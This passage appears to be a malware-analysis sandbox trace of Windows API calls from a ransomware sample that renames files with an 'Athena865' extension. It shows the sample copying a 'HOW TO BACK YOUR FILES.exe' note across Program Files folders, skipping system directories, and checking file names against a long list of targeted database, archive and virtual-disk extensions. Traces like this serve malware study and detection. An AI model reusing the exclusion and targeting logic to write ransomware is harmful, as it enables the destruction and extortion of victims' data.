dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0042.756] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1889 [0042.756] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x53, lpOverlapped=0x0) returned 1 [0042.756] CloseHandle (hObject=0x17c) returned 1 [0042.757] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\theories.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\theories.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\theories.exe" (normalized: "c:\\program files (x86)\\internet explorer\\theories.exe"), dwFlags=0x1) returned 1 [0042.757] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.757] CloseHandle (hObject=0x0) returned 0 [0042.757] CloseHandle (hObject=0xffffffff) returned 0 [0042.757] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2beeea10, ftCreationTime.dwHighDateTime=0x1d4efd4, ftLastAccessTime.dwLowDateTime=0x63fb0000, ftLastAccessTime.dwHighDateTime=0x1d510fa, ftLastWriteTime.dwLowDateTime=0x63fb0000, ftLastWriteTime.dwHighDateTime=0x1d510fa, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="theories.exe", cAlternateFileName="")) returned 0 [0042.757] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.757] ReleaseMutex (hMutex=0xec) returned 1 [0042.757] CloseHandle (hObject=0xec) returned 1 [0042.758] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Java" | out: lpString1="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0042.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d8d8 | out: hHeap=0x4f0000) returned 1 [0042.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c578 | out: hHeap=0x4f0000) returned 1 [0042.758] lstrlenW (lpString="C:\\Program Files (x86)\\Java") returned 27 [0042.758] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B7002F626B3EC89E76D90ECF09D8432C") returned 0xec [0042.758] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.758] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java" | out: lpString1="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0042.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.758] GetLastError () returned 0x0 [0042.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.759] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.759] CloseHandle (hObject=0xf4) returned 1 [0042.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.760] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.760] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.760] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.760] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.760] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.760] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.760] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.760] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.760] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5246c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.760] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.760] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2=".") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="..") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="windows") returned -1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="bootmgr") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="temp") returned -1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="pagefile.sys") returned -1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="boot") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="ids.txt") returned 1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="ntuser.dat") returned -1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="perflogs") returned -1 [0042.760] lstrcmpiW (lpString1="jre7", lpString2="MSBuild") returned -1 [0042.760] lstrlenW (lpString="jre7") returned 4 [0042.760] lstrcpyW (in: lpString1=0x241e880, lpString2="jre7" | out: lpString1="jre7") returned="jre7" [0042.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c578 [0042.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x517398 [0042.760] lstrcatW (in: lpString1="jre7", lpString2="\\" | out: lpString1="jre7\\") returned="jre7\\" [0042.761] lstrcatW (in: lpString1="jre7\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="jre7\\HOW TO BACK YOUR FILES.exe") returned="jre7\\HOW TO BACK YOUR FILES.exe" [0042.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.764] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 0 [0042.764] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.764] ReleaseMutex (hMutex=0xec) returned 1 [0042.764] CloseHandle (hObject=0xec) returned 1 [0042.764] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0042.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d918 | out: hHeap=0x4f0000) returned 1 [0042.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c590 | out: hHeap=0x4f0000) returned 1 [0042.764] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services") returned 50 [0042.764] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F8A99ABE2F29041535AB1095BE91FA5A") returned 0xec [0042.764] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.764] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0042.764] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.765] GetLastError () returned 0x0 [0042.765] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.765] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.765] CloseHandle (hObject=0xf4) returned 1 [0042.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.766] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.766] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.766] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.766] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.766] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.766] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.766] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.766] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2=".") returned 1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="..") returned 1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="windows") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="bootmgr") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="temp") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="pagefile.sys") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="boot") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="ids.txt") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="ntuser.dat") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="perflogs") returned -1 [0042.766] lstrcmpiW (lpString1="AS OLEDB", lpString2="MSBuild") returned -1 [0042.766] lstrlenW (lpString="AS OLEDB") returned 8 [0042.766] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AS OLEDB" | out: lpString1="AS OLEDB") returned="AS OLEDB" [0042.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c590 [0042.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501ca8 [0042.767] lstrcatW (in: lpString1="AS OLEDB", lpString2="\\" | out: lpString1="AS OLEDB\\") returned="AS OLEDB\\" [0042.767] lstrcatW (in: lpString1="AS OLEDB\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AS OLEDB\\HOW TO BACK YOUR FILES.exe") returned="AS OLEDB\\HOW TO BACK YOUR FILES.exe" [0042.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.769] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5246c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.769] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.769] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x607e3a20, ftCreationTime.dwHighDateTime=0x1d56fd5, ftLastAccessTime.dwLowDateTime=0xe0540930, ftLastAccessTime.dwHighDateTime=0x1d56451, ftLastWriteTime.dwLowDateTime=0xe0540930, ftLastWriteTime.dwHighDateTime=0x1d56451, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spaces-proc-lm.exe", cAlternateFileName="SPACES~1.EXE")) returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2=".") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="..") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="windows") returned -1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="bootmgr") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="temp") returned -1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="pagefile.sys") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="boot") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="ids.txt") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="ntuser.dat") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="perflogs") returned 1 [0042.769] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2="MSBuild") returned 1 [0042.769] lstrlenW (lpString="spaces-proc-lm.exe") returned 18 [0042.769] lstrcpyW (in: lpString1=0x241e8ae, lpString2="spaces-proc-lm.exe" | out: lpString1="spaces-proc-lm.exe") returned="spaces-proc-lm.exe" [0042.769] lstrlenW (lpString="spaces-proc-lm.exe") returned 18 [0042.769] lstrlenW (lpString="Athena865") returned 9 [0042.769] lstrcmpiW (lpString1="oc-lm.exe", lpString2="Athena865") returned 1 [0042.770] lstrlenW (lpString=".dll") returned 4 [0042.770] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2=".dll") returned 1 [0042.770] lstrlenW (lpString=".lnk") returned 4 [0042.770] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2=".lnk") returned 1 [0042.770] lstrlenW (lpString=".ini") returned 4 [0042.770] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2=".ini") returned 1 [0042.770] lstrlenW (lpString=".sys") returned 4 [0042.770] lstrcmpiW (lpString1="spaces-proc-lm.exe", lpString2=".sys") returned 1 [0042.770] lstrlenW (lpString="spaces-proc-lm.exe") returned 18 [0042.770] lstrlenW (lpString="bak") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.770] lstrlenW (lpString="ba_") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.770] lstrlenW (lpString="dbb") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.770] lstrlenW (lpString="vmdk") returned 4 [0042.770] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.770] lstrlenW (lpString="rar") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.770] lstrlenW (lpString="zip") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.770] lstrlenW (lpString="tgz") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.770] lstrlenW (lpString="vbox") returned 4 [0042.770] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.770] lstrlenW (lpString="vdi") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.770] lstrlenW (lpString="vhd") returned 3 [0042.770] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.770] lstrlenW (lpString="vhdx") returned 4 [0042.770] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.770] lstrlenW (lpString="avhd") returned 4 [0042.770] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.770] lstrlenW (lpString="db") returned 2 [0042.770] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.770] lstrlenW (lpString="db2") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.771] lstrlenW (lpString="db3") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.771] lstrlenW (lpString="dbf") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.771] lstrlenW (lpString="mdf") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.771] lstrlenW (lpString="mdb") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.771] lstrlenW (lpString="sql") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.771] lstrlenW (lpString="sqlite") returned 6 [0042.771] lstrcmpiW (lpString1="lm.exe", lpString2="sqlite") returned -1 [0042.771] lstrlenW (lpString="sqlite3") returned 7 [0042.771] lstrcmpiW (lpString1="-lm.exe", lpString2="sqlite3") returned -1 [0042.771] lstrlenW (lpString="sqlitedb") returned 8 [0042.771] lstrcmpiW (lpString1="c-lm.exe", lpString2="sqlitedb") returned -1 [0042.771] lstrlenW (lpString="xml") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.771] lstrlenW (lpString="$er") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.771] lstrlenW (lpString="4dd") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.771] lstrlenW (lpString="4dl") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.771] lstrlenW (lpString="^^^") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.771] lstrlenW (lpString="abs") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.771] lstrlenW (lpString="abx") returned 3 [0042.771] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.771] lstrlenW (lpString="accdb") returned 5 [0042.771] lstrcmpiW (lpString1="m.exe", lpString2="accdb") returned 1 [0042.771] lstrlenW (lpString="accdc") returned 5 [0042.771] lstrcmpiW (lpString1="m.exe", lpString2="accdc") returned 1 [0042.772] lstrlenW (lpString="accde") returned 5 [0042.772] lstrcmpiW (lpString1="m.exe", lpString2="accde") returned 1 [0042.772] lstrlenW (lpString="accdr") returned 5 [0042.772] lstrcmpiW (lpString1="m.exe", lpString2="accdr") returned 1 [0042.772] lstrlenW (lpString="accdt") returned 5 [0042.772] lstrcmpiW (lpString1="m.exe", lpString2="accdt") returned 1 [0042.772] lstrlenW (lpString="accdw") returned 5 [0042.772] lstrcmpiW (lpString1="m.exe", lpString2="accdw") returned 1 [0042.772] lstrlenW (lpString="accft") returned 5 [0042.772] lstrcmpiW (lpString1="m.exe", lpString2="accft") returned 1 [0042.772] lstrlenW (lpString="adb") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.772] lstrlenW (lpString="adb") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.772] lstrlenW (lpString="ade") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.772] lstrlenW (lpString="adf") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.772] lstrlenW (lpString="adn") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.772] lstrlenW (lpString="adp") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.772] lstrlenW (lpString="alf") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.772] lstrlenW (lpString="ask") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.772] lstrlenW (lpString="btr") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.772] lstrlenW (lpString="cat") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.772] lstrlenW (lpString="cdb") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.772] lstrlenW (lpString="ckp") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.772] lstrlenW (lpString="cma") returned 3 [0042.772] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.772] lstrlenW (lpString="cpd") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.773] lstrlenW (lpString="dacpac") returned 6 [0042.773] lstrcmpiW (lpString1="lm.exe", lpString2="dacpac") returned 1 [0042.773] lstrlenW (lpString="dad") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.773] lstrlenW (lpString="dadiagrams") returned 10 [0042.773] lstrcmpiW (lpString1="roc-lm.exe", lpString2="dadiagrams") returned 1 [0042.773] lstrlenW (lpString="daschema") returned 8 [0042.773] lstrcmpiW (lpString1="c-lm.exe", lpString2="daschema") returned -1 [0042.773] lstrlenW (lpString="db-journal") returned 10 [0042.773] lstrcmpiW (lpString1="roc-lm.exe", lpString2="db-journal") returned 1 [0042.773] lstrlenW (lpString="db-shm") returned 6 [0042.773] lstrcmpiW (lpString1="lm.exe", lpString2="db-shm") returned 1 [0042.773] lstrlenW (lpString="db-wal") returned 6 [0042.773] lstrcmpiW (lpString1="lm.exe", 